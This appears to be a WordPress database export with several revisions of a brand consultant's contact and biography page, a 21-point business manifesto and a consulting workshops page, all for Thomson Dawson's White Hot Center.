(3051, 1, '2015-10-09 12:18:21', '2015-10-09 19:18:21', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n<h4></h4>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h1><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h1>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]fd7217[/su_button]\r\n\r\n&nbsp;', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:18:21', '2015-10-09 19:18:21', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3052, 1, '2015-10-09 12:18:53', '2015-10-09 19:18:53', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n<h4></h4>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h1><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h1>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:18:53', '2015-10-09 19:18:53', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3068, 1, '2015-10-09 12:53:52', '2015-10-09 19:53:52', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:53:52', '2015-10-09 19:53:52', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3053, 2, '2015-10-09 12:22:55', '2015-10-09 19:22:55', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg"><img class="alignnone size-full wp-image-3008" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg" alt="White Hot Center Manifesto" width="680" height="350" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. Presented here are my guiding principles that form my philosophy of life and business success and directs all my activities in my consulting practice.</span></h2>\r\n<h3><span style="color: #000000;"><strong>1 as you think, so it is</strong></span><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h3>\r\n<h3><span style="color: #000000;"><strong>2</strong><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><em>\r\nnever desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h3>\r\n<h3><span style="color: #000000;"><strong> 3</strong><strong> you must do what matters to you, and what you do must serve others</strong><em>\r\nmeaning + contribution = a life of significance.</em></span></h3>\r\n<h3><span style="color: #000000;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h3>\r\n<h3><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h3>\r\n<h3><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h3>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'closed', 'closed', '', '136-revision-v1', '', '', '2015-10-09 12:22:55', '2015-10-09 19:22:55', '', 136, 'http://whc.fbdev.org/2015/10/136-revision-v1/', 0, 'revision', '', 0);
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(3062, 1, '2015-10-09 12:49:21', '2015-10-09 19:49:21', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n<h4></h4>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:49:21', '2015-10-09 19:49:21', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3054, 1, '2015-10-09 12:23:33', '2015-10-09 19:23:33', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n<h4></h4>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h1><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h1>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson[/su_button]\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6" text_shadow="1px 1px 1px #000000"]Email Thomson to book[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:23:33', '2015-10-09 19:23:33', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3058, 1, '2015-10-09 12:45:36', '2015-10-09 19:45:36', '<h1>Strategic Brand Development Consulting Programs</h1>\r\n<img class="alignnone size-full wp-image-3102" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Consulting-Image.jpg" alt="WHC Workshop" width="680" height="274" />\r\n<h2>At every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau. My workshops and consulting programs are designed to help you and your organization develop more focus to create new value for higher value customers and clients.</h2>\r\n<img class="size-full wp-image-3138 alignnone" src="http://whc.fbdev.org/wp-content/uploads/2015/10/powersession.jpg" alt="Power Sessions" width="311" height="262" />\r\n<h3><span style="color: #ff6600;">Power Session Jams</span></h3>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. In a 60 minute phone conversation, we’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n\r\n<strong><em>Individual Power Session $500 USD </em></strong>\r\n<strong> <em>(6) Power Sessions $2500 USD</em></strong>\r\n<strong> <em>Payable in advance through PayPal</em></strong>\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]\r\n\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-3140" src="http://whc.fbdev.org/wp-content/uploads/2015/10/WHC-Workshops.jpg" alt="WHC Brand Workshops" width="340" height="201" />\r\n<h3><span style="color: #ff6600;">Strategic Brand Development Workshops</span></h3>\r\nFor growing organizations we offer a series of one-day, issue-based brand strategy workshops designed to help you and your team make the right strategic and creative decisions to build impact and influence in the marketplace early in the strategic brand development process. There are three separate workshops offered in the series:\r\n\r\n<strong><em>The Brand Positioning Workshop</em></strong>\r\nThis issue-based workshop enables management teams in growing enterprises to align stakeholders around a brand strategy and positioning that defines the brand’s target customer segment, value proposition, brand promise, essence and delivery in the markets the brand will compete insuring your value proposition supports competitive advantage.\r\n\r\n<strong><em>The Brand Storytelling Workshop</em></strong>\r\nThe power of your brand lies in your unique story. This intensive workshop is designed to guide your marketing communications planning. In this workshop, you''ll define and express a compelling brand story that informs and guides the verbal and visual development of all brand communications at all touch points.\r\n\r\n<strong><em>The Brand Voice Workshop</em></strong>\r\nThis one-day workshop is designed to help define the specific language and tone of voice used in brand communications. This is more than simply selecting words. The language your brand speaks in must be language your audience speaks in as well. Clear and effective communication begins with understanding and comprehension. The Brand Voice Workshop insures your messages will be quickly recognized, clearly understood and easily remembered.\r\n\r\nAll our strategic brand development workshops foster greater strategic and creative thinking to align vision and purpose, build richer organizational cultures, and enhance the pull and influence of your brand building initiatives at every customer encounter.\r\n\r\nTypically our workshops 